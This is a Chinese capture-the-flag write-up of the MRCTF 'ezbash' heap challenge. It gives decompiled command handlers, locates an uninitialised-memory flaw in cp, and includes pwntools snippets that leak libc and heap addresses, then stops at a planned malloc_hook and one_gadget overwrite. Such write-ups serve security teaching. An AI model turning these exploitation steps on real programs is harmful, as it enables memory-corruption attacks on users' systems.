# MRCTF pwn ezbash

拿到题目的时候,直接运行起来发现是一个文件系统,怀疑是不是一个 kernel 的题目,但是并没有给出内核文件,所以认定了就是一道堆题。这也是我坚持做下去的原因。

# 题目链接

https://github.com/dreamkecat/dreamkecat.github.io/tree/main/challenge/MRctf_ezbash

# 环境

dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ strings libc.so.6 |grep ubuntu
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$  checksec --file=ezbash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		7		ezbash
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$

2.31 的题目,保护全开,八成就是堆题;

程序模拟了一个简单的文件系统,提供了 11 种命令,对于我们命令行的输出,程序会进行切片

dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ ./ezbash
hacker:/$ help
Welcome to ezbash
Just have fun here!
The following are built in:
cd
ls
echo
cat
touch
rm
mkdir
cp
pwd
help
exit
hacker:/$

解决题目的第一个难点就是对于代码的审计,因为命令太多,相较于传统的菜单堆题,这道题提供的命令太多,导致分析题目需要很多时间。

# 解题过程

# 题目的整体把握

题目的所有文件的操作都是基于堆块,以及链表的数据结构

重要的结构体

00000000 file            struc ; (sizeof=0x40, mappedto_9)
00000000 flag            dd ?
00000004 name            db 16 dup(?)            ; string(C)
00000014 field_14        dd ?
00000018 context         dq ?                    ; offset
00000020 prev_bro        dq ?                    ; offset
00000028 next_bro        dq ?                    ; offset
00000030 futher          dq ?                    ; offset
00000038 firstson        dq ?                    ; offset
00000040 file            ends

整个体系中,其实概括 i 起来就是对于目录以及文件的操作,而这些对象都是基于 file 的结构体。flag 标志,对应的是目录(文件夹)或者文件,flag=0,表示的是文件夹,flag=1 表示的文件。文件夹中的所有子文件以及子文件夹都会通过一个双链表联系起来。file 的 firstson 会储存子文件链表的头指针。头节点的 prev_bro 和尾节点的 neat_bro 为 0,name16 字节的数组是 file 的名字,文件夹还会记录自己的父文件夹是的指针。文件则不会,但是文件会有一个特殊的 context 指针,指向另外一个堆块,用于储存写入文件的内容。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

_BYTE *readn()
{
  int v1; // [rsp+Ch] [rbp-14h]
  int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  _BYTE *ptr; // [rsp+18h] [rbp-8h]
  v1 = 0x150;
  v2 = 0;
  ptr = malloc(0x150uLL);
  if ( !ptr )
  {
    fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
    exit(1);
  }
  while ( 1 )
  {
    v3 = getchar();
    if ( v3 == -1 || v3 == '\n' )
      break;
    ptr[v2++] = v3;
    if ( v2 >= v1 )
    {
      v1 += 0x150;
      ptr = realloc(ptr, v1);
      if ( !ptr )
      {
        fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
        exit(1);
      }
    }
  }
  ptr[v2] = 0;
  return ptr;
}

对于我们输入的命令默认是存放在一个 0x161 的堆块,但是当我们输入的长度过长时,会调整堆块的大小,所以这里是不存在在溢出的,虽然结尾没有补零,但是每次都会被 v1=0x150 限制,没有溢出的利用。

对于每条命令,他的解析不是直接的匹配,而是会对数据进行切片的处理,如下,调用 strtok 库函数,会返回 delim 的前地址(代码中可能是由于 idapro 分析错误, i = strtok (0LL, "\t\r\n\a"),实际上会完全分析我们输入的命令,应该是 i = strtok (i, "\t\r\n\a"))这里会将我们的命令分解成操作命令,对象,对吧对应字符串的地址保存在另一个堆块里面。strtok 遇到空字符结束。

_QWORD *__fastcall process(char *a1)
{
  int v2; // [rsp+18h] [rbp-18h]
  int v3; // [rsp+1Ch] [rbp-14h]
  _QWORD *ptr; // [rsp+20h] [rbp-10h]
  char *i; // [rsp+28h] [rbp-8h]
  v2 = 64;
  v3 = 0;
  ptr = malloc(0x200uLL);
  if ( !ptr )
  {
    fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
    exit(1);
  }
  for ( i = strtok(a1, " \t\r\n\a"); i; i = strtok(0LL, " \t\r\n\a") )// split
  {
    ptr[v3++] = i;
    if ( v3 >= v2 )
    {
      v2 += 0x40;
      ptr = realloc(ptr, 8LL * v2);
      if ( !ptr )
      {
        fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
        exit(1);
      }
    }
  }
  ptr[v3] = 0LL;
  return ptr;
}

后面指令的实现都是通过保留的字符串指针分析比较的。

__int64 __fastcall check(const char **cmd)
{
  int i; // [rsp+1Ch] [rbp-4h]
  if ( !*cmd )
    return 1LL;
  for ( i = 0; i < L11(); ++i )                 // i<11
  {
    if ( !strcmp(*cmd, *(&list + i)) )
      return (funcs[i])(cmd);
  }
  printf("%s: command not found\n", *cmd);
  return 0xFFFFFFFFLL;
}

list 保存各个命令的名称进行比较,cmd 是处理后的保留字符串地址的 chunk。fucns 保存各个命令的函数的地址。

程序会使用 2 个全局变量记录我们的当前位置,一个是我们所在的文件夹的指针,一个是字符串记录的是从 home 到当前位置的路径的名字。

.bss:0000000000006140 cur_position_addr db 50h dup(?)         ; DATA XREF: apwd+10↑o
.bss:0000000000006140                                         ; acd+10F↑o ...
.bss:0000000000006190 ; file *cuurr_pos
.bss:0000000000006190 cuurr_pos       dq ?                    ; DATA XREF: unlink:loc_15F0↑r

其实真正利用的命令没有多少,ls,pwd,help,exit,cd,cat,touch, 都没有漏洞的利用。

# ls

列出当前文件夹下的内容,或者以及子文件夹的内容,成灰只可以识别到以及子文件夹,对于 A/B, 成为程序人为这是一个 file 的名称,而不是一条路径。但是./A 是有效的,程序会识别./ 为当前目录。

__int64 __fastcall als(const char **cmd, __int64 a2)
{
  int v2; // eax
  unsigned __int64 v3; // rax
  void *v4; // rsp
  int v6; // eax
  __int64 v7; // rbx
  size_t v8; // rax
  int v9; // eax
  __int64 v10[3]; // [rsp+8h] [rbp-A0h] BYREF
  const char **comment; // [rsp+20h] [rbp-88h]
  char v12; // [rsp+37h] [rbp-71h]
  int v13; // [rsp+38h] [rbp-70h]
  int v14; // [rsp+3Ch] [rbp-6Ch]
  int nums; // [rsp+40h] [rbp-68h]
  int v16; // [rsp+44h] [rbp-64h]
  file *v17; // [rsp+48h] [rbp-60h] BYREF
  char *s1; // [rsp+50h] [rbp-58h]
  file *v19; // [rsp+58h] [rbp-50h]
  __int64 v20; // [rsp+60h] [rbp-48h]
  __int64 v21; // [rsp+68h] [rbp-40h]
  char *dest; // [rsp+70h] [rbp-38h]
  char delim[2]; // [rsp+7Eh] [rbp-2Ah] BYREF
  unsigned __int64 v24; // [rsp+80h] [rbp-28h]
  comment = cmd;
  v24 = __readfsqword(0x28u);
  v17 = cuurr_pos->firstson;
  v19 = cuurr_pos;
  v20 = 0LL;
  v12 = 0;
  nums = 0;
  strcpy(delim, "/");
  while ( comment[++nums] )                     // 只有 ls 就会跳过
  {
    if ( strlen(comment[nums]) <= v14 )
      v2 = v14;
    else
      v2 = strlen(comment[nums]) + 1;
    v14 = v2;
  }
  v21 = v14 - 1LL;
  v10[0] = v14;
  v10[1] = 0LL;
  v3 = 16 * ((v14 + 15LL) / 0x10uLL);
  while ( v10 != (v10 - (v3 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v4 = alloca(v3 & 0xFFF);
  if ( (v3 & 0xFFF) != 0 )
    *(&v10[-1] + (v3 & 0xFFF)) = *(&v10[-1] + (v3 & 0xFFF));
  dest = v10;
  v16 = nums - 1;
  if ( nums == 1 )
  {
    info_ls();
    return 1LL;
  }
  nums = 1;
LABEL_44:
  if ( nums <= v16 )
  {
    v14 = strlen(comment[nums]);
    v13 = 0;
    strcpy(dest, comment[nums]);
    for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) )
    {
      if ( !s1 )
      {
LABEL_43:
        cuurr_pos = v19;
        ++nums;
        goto LABEL_44;
      }
      v17 = cuurr_pos->firstson;
      if ( !strcmp(s1, ".") )
        goto LABEL_16;
      if ( !strcmp(s1, off_4077) )
        break;
      v12 = findfile(&v17, s1);
      if ( v12 != 1 )
      {
        fprintf(stderr, "ezbash: cannot access '%s': No such file or directory\n", s1);
        goto LABEL_43;
      }
      if ( checkfile(v17) )
      {
        v7 = v14;
        v8 = strlen(s1);
        if ( !strcmp(&dest[v7 - v8], s1) )
          puts(v17->name);
        else
          fprintf(stderr, "ezbash: cannot access '%s': Not a directory\n", comment[nums]);
        if ( v16 > 1 && nums < v16 )
          putchar(10);
        goto LABEL_43;
      }
      if ( checkfolder(v17) )
      {
        cuurr_pos = v17;
        v9 = strlen(s1);
        v13 += v9 + 1;
      }
LABEL_32:
      if ( !comment[nums][v13 - 1] || comment[nums][v13 - 1] == 47 && !comment[nums][v13] )
      {
        if ( v16 > 1 )
          printf("%s:\n", comment[nums]);
        info_ls();
      }
      if ( v16 > 1 && nums < v16 )
        putchar(10);
    }
    if ( cuurr_pos->futher )
      cuurr_pos = cuurr_pos->futher;
LABEL_16:
    v6 = strlen(s1);
    v13 += v6 + 1;
    goto LABEL_32;
  }
  return 1LL;
}

讲真 ls 代码很长,但是没啥用,特别是那个 alloca,就是浪费时间。

# cd

cd 也是一个简单的跳到跳到某个目录下,实际就是更改下那两个变量,以及链表的遍历。

__int64 __fastcall acd(char **cmd)
{
  char v1; // al
  size_t v3; // rbx
  int len_name; // [rsp+18h] [rbp-38h]
  const char *s1; // [rsp+20h] [rbp-30h]
  file *pos; // [rsp+28h] [rbp-28h]
  char delim[2]; // [rsp+36h] [rbp-1Ah] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]
  v8 = __readfsqword(0x28u);
  if ( cmd[1] )
  {
    if ( cmd[2] )
    {
      fwrite("ezbash: too many arguments\n", 1uLL, 0x1BuLL, stderr);
    }
    else
    {
      strcpy(delim, "/");
      for ( s1 = strtok(cmd[1], delim); s1; s1 = strtok(0LL, delim) )
      {
        if ( strcmp(s1, ".") )                  // 当前目录下或者父目录
        {
          if ( !strcmp(s1, off_4077) )          // ../
          {
            if ( cuurr_pos->futher )
            {
              len_name = strlen(cuurr_pos->name);
              cur_position_addr[(strlen(cur_position_addr) - 1 - len_name)] = 0;
              cuurr_pos = cuurr_pos->futher;
            }
          }
          else
          {
            pos = cuurr_pos->firstson;          // ./
            ((&check_error + 1))();
            if ( v1 )
            {
              fprintf(stderr, "ezbash: %s: No such file or directory\n", s1);
              return 1LL;
            }
            while ( pos && strcmp(pos->name, s1) )// 参数的第一的目标位置文件夹
              pos = pos->next_bro;
            if ( !checkfolder(pos) )            // 检查是否为目录
            {
              fwrite("something wrong happened\n", 1uLL, 0x19uLL, stderr);
              return 1LL;
            }
            cuurr_pos = pos;
            v3 = strlen(cur_position_addr);
            if ( v3 + strlen(pos->name) <= 0x50 )
            {
              strcat(cur_position_addr, pos->name);
              *&cur_position_addr[strlen(cur_position_addr)] = '/';
            }
          }
        }
      }
    }
  }
  else
  {
    fwrite("ezbash: expected argument\n", 1uLL, 0x1AuLL, stderr);
  }
  return 1LL;
}

# cat

cat 会输出文件中的数据,采用的是 puts,只会输出字符串。为实现 cat 重定向到文件

__int64 __fastcall acat(char **cmd)
{
  unsigned __int64 v1; // rax
  void *v2; // rsp
  _BYTE v4[8]; // [rsp+8h] [rbp-70h] BYREF
  char **comment; // [rsp+10h] [rbp-68h]
  char v6; // [rsp+1Fh] [rbp-59h]
  int v7; // [rsp+20h] [rbp-58h]
  int num; // [rsp+24h] [rbp-54h]
  file *v9; // [rsp+28h] [rbp-50h]
  __int64 v10; // [rsp+30h] [rbp-48h]
  char *dest; // [rsp+38h] [rbp-40h]
  unsigned __int64 v12; // [rsp+40h] [rbp-38h]
  comment = cmd;
  v12 = __readfsqword(0x28u);
  num = 0;                                      // 参数的数目
  v6 = 0;
  v7 = 0;                                       //v7 最大参数的长度
  v9 = 0LL;
  while ( comment[++num] )
  {
    if ( strlen(comment[num]) > v7 )
      v7 = strlen(comment[num]) + 1;
  }
  v10 = v7 - 1LL;
  v1 = 16 * ((v7 + 15LL) / 0x10uLL);
  while ( v4 != &v4[-(v1 & 0xFFFFFFFFFFFFF000LL)] )
    ;
  v2 = alloca(v1 & 0xFFF);
  if ( (v1 & 0xFFF) != 0 )
    *&v4[(v1 & 0xFFF) - 8] = *&v4[(v1 & 0xFFF) - 8];
  dest = v4;
  num = 1;
  if ( !comment[1] )
    fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
  while ( comment[num] )
  {
    v9 = cuurr_pos->firstson;
    strcpy(dest, comment[num]);
    while ( v9 )
    {
      if ( !strcmp(dest, v9->name) )
      {
        if ( v9->context )
          puts(v9->context);
        v6 = 1;
        break;
      }
      v9 = v9->next_bro;
    }
    if ( v6 != 1 )
      fprintf(stderr, "ezbash: %s: No such file or directory\n", comment[num]);
    ++num;
  }
  return 1LL;
}

# pwd

仅仅只是输出当前的路径

__int64 apwd()
{
  puts(cur_position_addr);
  return 1LL;
}

# exit,help

没什么可以说的。

# mkdir

在当前的目录下创建一个字目录,并把她 link 进 firstson 的链表,采用的是头插法。

__int64 __fastcall amkdir(char **cmd)
{
  char v1; // al
  char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF
  int v4; // [rsp+1Ch] [rbp-14h]
  file *first_son; // [rsp+20h] [rbp-10h]
  file *newfile; // [rsp+28h] [rbp-8h]
  v4 = 1;
  qmemcpy(v3, "./", sizeof(v3));
  if ( !cmd[1] )
    fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
  while ( cmd[v4] )
  {
    first_son = cuurr_pos->firstson;
    if ( strchr(cmd[v4], v3[0]) )
    {
      ++v4;
    }
    else if ( strchr(cmd[v4], v3[1]) )
    {
      ++v4;
    }
    else
    {
      ((&check_error + 1))();
      if ( v1 != 1 )
      {
        fprintf(stderr, aEzbashCannotCr, cmd[v4++]);
      }
      else
      {
        newfile = calloc40();
        newfile->flag = 0;
        newfile->futher = cuurr_pos;
        copy_name(newfile, cmd[v4]);
        if ( cuurr_pos->firstson )
          link(first_son, newfile);
        else
          cuurr_pos->firstson = newfile;
        ++v4;
      }
    }
  }
  return 1LL;
}

# touch

创建一个空文件,与 mkdir 的操作类似

__int64 __fastcall atouch(char **cmd)
{
  char v1; // al
  char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF
  int v4; // [rsp+1Ch] [rbp-14h]
  file *v5; // [rsp+20h] [rbp-10h]
  file *v6; // [rsp+28h] [rbp-8h]
  v4 = 1;
  qmemcpy(v3, "./", sizeof(v3));
  if ( !cmd[1] )
    fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
  while ( cmd[v4] )
  {
    if ( strchr(cmd[v4], v3[0]) )
    {
      ++v4;
    }
    else if ( strchr(cmd[v4], v3[1]) )
    {
      ++v4;
    }
    else
    {
      v5 = cuurr_pos->firstson;
      ((&check_error + 1))();
      if ( v1 != 1 )
      {
        ++v4;
      }
      else
      {
        v6 = calloc40();
        v6->flag = 1;
        copy_name(v6, cmd[v4]);
        if ( cuurr_pos->firstson )
          link(v5, v6);
        else
          cuurr_pos->firstson = v6;
        ++v4;
      }
    }
  }
  return 1LL;
}

mkdir 与 touch 创建新的 file 的时候,调用 calloc40,这个其实就是模拟了 calloc

file *malloc40()
{
  file *v1; // [rsp+8h] [rbp-8h]
  v1 = malloc(0x40uLL);
  memset(v1->name, 0, sizeof(v1->name));
  v1->context = 0LL;
  v1->firstson = 0LL;
  v1->next_bro = 0LL;
  v1->prev_bro = 0LL;
  v1->futher = 0LL;
  return v1;
}
file *__fastcall link(file *curr, file *aim)
{
  file *result; // rax
  while ( curr->next_bro )
    curr = curr->next_bro;
  curr->next_bro = aim;
  result = aim;
  aim->prev_bro = curr;
  return result;
}

这也导致了,后面泄露地址有点困难。两个命令支持在当前目录下一次创建多个对象

# rm

rm 可以进行两种操作,直接删除文件,或者 - r 参数删除文件夹,但是都只是当前目录下的对象。

__int64 __fastcall arm(char **cmd)
{
  char v2; // [rsp+1Bh] [rbp-15h]
  int v3; // [rsp+1Ch] [rbp-14h]
  file *file; // [rsp+20h] [rbp-10h]
  file *ptr; // [rsp+28h] [rbp-8h]
  v3 = 1;
  if ( !cmd[1] )
    fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
  while ( cmd[v3] )
  {
    file = cuurr_pos->firstson;
    v2 = 0;
    if ( !strcmp(cmd[v3], "-r") )               // -r
    {
      if ( cmd[++v3] )
      {
        while ( file )
        {
          if ( !strcmp(file->name, cmd[v3]) )
          {
            v2 = 1;
            if ( !checkfolder(file) )
            {
              fprintf(stderr, "ezbash -r: cannot remove '%s': Is a file\n", cmd[v3]);
              goto LABEL_26;
            }
            memset(file->name, 0, sizeof(file->name));
            file->futher = 0LL;
            if ( file->firstson )
            {
              ptr = file->firstson;
              do
              {
                if ( ptr->context )
                  free(ptr->context);
                free(ptr);                      // uaf
                                                // 
                ptr = ptr->next_bro;
              }
              while ( ptr );
            }
            goto LABEL_14;
          }
          file = file->next_bro;
        }
        goto LABEL_26;
      }
      ++v3;
    }                                           // 删除单文件
                                                // 
                                                // 
    else
    {
      while ( file )
      {
        if ( !strcmp(file->name, cmd[v3]) )
        {
          v2 = 1;
          if ( checkfile(file) )
          {
            memset(file->name, 0, sizeof(file->name));
            if ( file->context )
            {
              free(file->context);
              file->context = 0LL;              // 没有 uaf
            }
LABEL_14:
            unlink(file);
          }
          else
          {
            fprintf(stderr, "ezbash: '%s': Is a directory\n", cmd[v3]);
          }
          break;
        }
        file = file->next_bro;
      }
LABEL_26:
      if ( v2 != 1 )
        fprintf(stderr, "ezbash: '%s': No such file or directory\n", cmd[v3]);
      ++v3;
    }
  }
    
  void __fastcall unlink(file *a1)
{
  if ( a1->next_bro )
    a1->next_bro->prev_bro = a1->prev_bro;
  if ( a1->prev_bro )
    a1->prev_bro->next_bro = a1->next_bro;
  else
    cuurr_pos->firstson = a1->next_bro;
  a1->next_bro = 0LL;
  a1->prev_bro = 0LL;
  free(a1);
}

只可以堆当前目录的对象进行操作。当删除的目录下有子目录 x,不会破坏 x 的子文件链表结构,这里看似存在 uaf 名单时册灰姑娘徐每次创建 file 都会清空,所以无法利用。checkfile 以及 checkfolder 分别检查对象是文件还是文件夹。-r 不可删除文件。unlink 的操作也没有什么问题,

# echo

echo 支持两种操作,一个是将内容直接输出,一个是根据倒数第二个参数是否为 “->” 决定,不是,就直接输出,否则,就会将数据写进指定的 file。强调,一定是倒数第二参数。其他一律认为是内容,字符串不存在空格,是写进 context 的时候额外加入的。另外,echo 不可以将空字符写入。而且也不会在

__int64 __fastcall aecho(char **cmd)
{
  __int64 result; // rax
  size_t size; // rax
  file *v3; // rbx
  file *v4; // rbx
  size_t v5; // rax
  int v6; // [rsp+14h] [rbp-3Ch]
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  int chunksize; // [rsp+18h] [rbp-38h]
  int textlen; // [rsp+1Ch] [rbp-34h]
  int argv_nums; // [rsp+20h] [rbp-30h]
  file *file; // [rsp+28h] [rbp-28h] BYREF
  const char *filename; // [rsp+30h] [rbp-20h]
  unsigned __int64 v14; // [rsp+38h] [rbp-18h]
  v14 = __readfsqword(0x28u);
  v6 = 0;
  if ( cmd[1] )
  {
    do
      ++v6;
    while ( cmd[v6] );
    argv_nums = v6 - 1;
    if ( tofile(cmd[v6 - 2]) )
    {
      for ( i = 1; i < argv_nums; ++i )
        printf("%s ", cmd[i]);
      puts(cmd[argv_nums]);
      result = 1LL;
    }
    else
    {                                           // 写入文件
      file = cuurr_pos->firstson;
      filename = cmd[argv_nums];
      if ( findfile(&file, filename) != 1 )
      {
        fprintf(stderr, "ezbash: %s: No such file\n", filename);
        result = 1LL;
      }
      else if ( checkfile(file) )               // 检查是否为文件
      {
        textlen = 0;
        if ( file->context )                    // 已经写过了
        {
          size = get_chunk_size(file->context);
          memset(file->context, 0, size);       // 清空
        }
        for ( j = 1; j < argv_nums - 1; ++j )
        {
          if ( file->context )
          {
            chunksize = get_chunk_size(file->context);
          }
          else                                  // 空的,申请
          {
            chunksize = 0x150;
            v3 = file;
            v3->context = malloc(0x150uLL);
            memset(file->context, 0, 0x150uLL);
          }
          textlen += strlen(cmd[j]) + 2;
          while ( textlen >= chunksize )
            chunksize += 0x150;
          if ( chunksize > get_chunk_size(file->context) )
          {
            v4 = file;
            v4->context = realloc(file->context, chunksize);
          }
          v5 = strlen(cmd[j]);
          strncat(file->context, cmd[j], v5);
          if ( j < argv_nums - 2 )
            *(file->context + strlen(file->context)) = ' ';
        }
        result = 1LL;
      }
      else
      {
        fprintf(stderr, "ezbash: %s: Is a directory\n", filename);
        result = 1LL;
      }
    }
  }
  else
  {
    putchar(10);
    result = 1LL;
  }
  return result;
}
/* Orphan comments:
stdout
*/

每次 echo,都会清空 context 的内容,而且是跟据 chunksize 清空的。并且如果写的数据大于等于 chunksize-2 就会把 context 调大。而且注意。

# cp

整个程序攻击的开始就是在 cp,cp 可以拷贝当前目录下的文件,一个是把他的内容拷贝到当前目录下的另一个文件里,起一个是拷贝到子文件夹下的文件里,如果指定的文件不存在,会自动创建。但是佟阿姨那个调用的是 calloc40,所以没有 uaf。问题在于对 context 的复制,目标文件没有 context 指针,会申请一个,重点来了,这里用的是 malloc,而且不会清空。如果我们要拷贝的文件没有 context,会把对应的目标文件的 context free。或者直接创建一个新的空文件。

__int64 __fastcall acp(char **cmd)
{
  unsigned __int64 v1; // rax
  void *v2; // rsp
  __int64 v4; // rbx
  size_t v5; // rax
  __int64 v6[3]; // [rsp+8h] [rbp-B0h] BYREF
  char **comment; // [rsp+20h] [rbp-98h]
  char v8; // [rsp+29h] [rbp-8Fh]
  char v9; // [rsp+2Ah] [rbp-8Eh]
  char v10; // [rsp+2Bh] [rbp-8Dh]
  int i; // [rsp+2Ch] [rbp-8Ch]
  int nums; // [rsp+30h] [rbp-88h]
  int v13; // [rsp+34h] [rbp-84h]
  file *list; // [rsp+38h] [rbp-80h] BYREF
  file *destination; // [rsp+40h] [rbp-78h] BYREF
  file *copied_file; // [rsp+48h] [rbp-70h] BYREF
  char *s1; // [rsp+50h] [rbp-68h]
  file *curops; // [rsp+58h] [rbp-60h]
  file *ptr; // [rsp+60h] [rbp-58h]
  __int64 v20; // [rsp+68h] [rbp-50h]
  char *dest; // [rsp+70h] [rbp-48h]
  file *curr; // [rsp+78h] [rbp-40h]
  file *temp; // [rsp+80h] [rbp-38h]
  char delim[2]; // [rsp+8Eh] [rbp-2Ah] BYREF
  unsigned __int64 v25; // [rsp+90h] [rbp-28h]
  comment = cmd;
  v25 = __readfsqword(0x28u);
  i = 0;
  list = cuurr_pos->firstson;
  curops = cuurr_pos;
  destination = cuurr_pos->firstson;
  copied_file = 0LL;
  ptr = 0LL;
  v8 = 0;
  v9 = 0;
  strcpy(delim, "/");
  do
    ++i;
  while ( comment[i] );
  nums = i - 1;
  v13 = strlen(comment[i - 1]);
  v20 = v13 + 1 - 1LL;
  v6[0] = v13 + 1;
  v6[1] = 0LL;
  v1 = 16 * ((v6[0] + 15) / 0x10uLL);
  while ( v6 != (v6 - (v1 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v2 = alloca(v1 & 0xFFF);
  if ( (v1 & 0xFFF) != 0 )
    *(&v6[-1] + (v1 & 0xFFF)) = *(&v6[-1] + (v1 & 0xFFF));
  dest = v6;
  if ( nums == 1 )
  {
    fprintf(stderr, "ezbash: missing destination file operand after '%s'\n", comment[1]);
    return 1LL;
  }
  strcpy(dest, comment[nums]);
  for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) )
  {
    if ( !s1 )
    {
      for ( i = 1; i < nums; ++i )
      {
        copied_file = curops->firstson;
        v9 = findfile(&copied_file, comment[i]);
        if ( v9 != 1 || !checkfile(copied_file) )// 未找到 ,或者不是个文件
        {
          fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[i]);
        }
        else
        {                                       // 索引最后一个 file
          destination = cuurr_pos->firstson;
          v8 = findfile(&destination, comment[i]);
          if ( v8 )
          {
            copy(copied_file, destination);     // 文件复制到其他位置
            cuurr_pos = curops;
          }
          else
          {
            curr = cuurr_pos->firstson;
            temp = calloc40();
            temp->flag = 1;
            copy_name(temp, copied_file->name);
            if ( copied_file->context )
              copycontext(copied_file, temp);
            else
              temp->context = 0LL;
            if ( curr )
              link(curr, temp);
            else
              cuurr_pos->firstson = temp;
          }
        }
      }
      cuurr_pos = curops;
      return 1LL;
    }
    v10 = 0;
    if ( strcmp(s1, ".") )
      break;
LABEL_32:
    ;
  }
  if ( !strcmp(s1, off_4077) )
  {
    cuurr_pos = cuurr_pos->futher;
    goto LABEL_32;
  }
  list = cuurr_pos->firstson;
  v10 = findfile(&list, s1);
  if ( nums > 2 )
  {
    if ( v10 != 1 || !checkfolder(list) )
    {
      fprintf(stderr, "ezbash: target '%s' is not a directory\n", comment[nums]);
      cuurr_pos = curops;
      return 1LL;
    }
    cuurr_pos = list;
    goto LABEL_32;
  }
  if ( nums != 2 )
    goto LABEL_32;
  v4 = v13;
  v5 = strlen(s1);
  if ( strcmp(&dest[v4 - v5], s1) )
    goto LABEL_32;
  copied_file = curops->firstson;
  destination = curops->firstson;
  v9 = findfile(&copied_file, comment[1]);
  if ( v9 != 1 )
  {
    fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[1]);
    cuurr_pos = curops;
    return 1LL;
  }
  if ( !checkfile(copied_file) )
  {
    fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", comment[1]);
    cuurr_pos = curops;
    return 1LL;
  }
  v8 = findfile(&destination, s1);
  if ( v8 == 1 )
  {
    if ( checkfolder(destination) )
    {
      cuurr_pos = destination;
    }
    else if ( checkfile(destination) )
    {
      copy(copied_file, destination);
      cuurr_pos = curops;
      return 1LL;
    }
    goto LABEL_32;
  }
  ptr = calloc40();
  ptr->flag = 1;
  copy_name(ptr, comment[2]);
  if ( copied_file->context )
    copycontext(copied_file, ptr);
  link(cuurr_pos->firstson, ptr);
  cuurr_pos = curops;
  return 1LL;
}
char *__fastcall copy(file *src, file *des)
{
  char *result; // rax
  file *dest; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]
  dest = des;
  result = src;
  if ( src != des && (src->context || (result = des->context) != 0LL) )
  {
    if ( src->context || !des->context )
    {
      if ( src->context && des->context )       // 文件复制到文件
      {
        v4 = strlen(src->context);
        v5 = strlen(des->context);
        if ( v4 > v5 )
        {
          dest = realloc(des->context, v4 + 1);
          memset(dest->context, 0, v4 + 1);
        }
        else
        {
          memset(des->context, 0, v5);
        }
        result = strncpy(dest->context, src->context, v4);
      }
      else                                      // 没有 context
      {
        result = src->context;
        if ( result )
        {
          result = des->context;
          if ( !result )
            result = copycontext(src, des);
        }
      }
    }
    else
    {
      free(des->context);
      result = des;
      des->context = 0LL;
    }
  }
  return result;
}
char *__fastcall copycontext(file *src, file *dest)
{
  int v3; // [rsp+1Ch] [rbp-4h]
  v3 = strlen(src->context);
  dest->context = malloc(v3);
  memset(dest->context, 0, v3);
  return strncpy(dest->context, src->context, v3);
}

这里 echo 是的我们的 context 大小是固定的,但是这里我们可以 malloc 指定的大小,大小根据我们拷问的文件内容的长度计算。另外一点,cp 不会向目标额外写入空字符。

# 泄露 libc 地址

这是一个很无语的过程,因为 echo 的话,一定会清空数据。所以就是利用 cp,把 unsortedbins 的 chunk 申请出来,因为 copycontext 不会清空 chunk。所以我们申请一个 0x8,因为不会写入空字符,就可以把 unsortedbins 申请出来的堆块的前八字节覆盖,到那时保留了 bk 指针,同时也跟前八字节组成新的字符串。这样就泄露了 libc 的地址。为了方便,我们把要拷贝的文件的 context 的 chunksize 写大一点,后面会比较方便。入下面的 cccc 文件,context 的 chunksize=0x551

mkdir(b"AAAA")
touch(b'cccc')
touch(b'dddd')
cd(b"AAAA")
touch(b"BBBB")
echo(b'a'*0x3f2,b"BBBB")
cd(b"../")
echo(b'c'*0x3f0,b"cccc")
echo(b'd'*8,b'dddd')
cp(b'dddd',b'AAAA')
cd(b"AAAA")
cat(b'dddd')
r.recvuntil(b'd'*8)
libcbase  = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0
print("libcbase : ",hex(libcbase))
malloc_hook = libcbase + 0x1ecb70-0x23

# 泄露堆地址

有了上面的思路,泄露堆地址也很容易,glibc2.31 存在 tchche, 拷贝一字节,就可以申请一个 0x20 的 chunk,所以提前布局 2 个 0x20 的 chunk. 申请到的 tache chunk 的 fd 就不为空,我们只需要低位的几个字节就可以,我布局的两个 chunk 很近,我只要覆盖最低字节。然后就泄露了堆地址。值得一提的是,2.31 的 tcache 的 bk 指针指向 tcache,但是申请出来的时候,会自动清空 bk。

#leak the chunk addr
cd(b'../')
mkdir(b'ii')
cp(b'dddd',b'ii')
rmv(0,b'ii')
cd(b"AAAA")
rmv(1,b'dddd')
gdb.attach(r)
cd(b'../')
echo(b'\x70',b'dddd')
cp(b'dddd',b'AAAA')
gdb.attach(r)
cd(b"AAAA")
cat(b'dddd')
r.recv()
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470

# 最后的攻击

现在 libc 的地址有了,如何实现任意地址写,因为保护全开,优先考虑了 malloc_hook + onegadget 的攻击

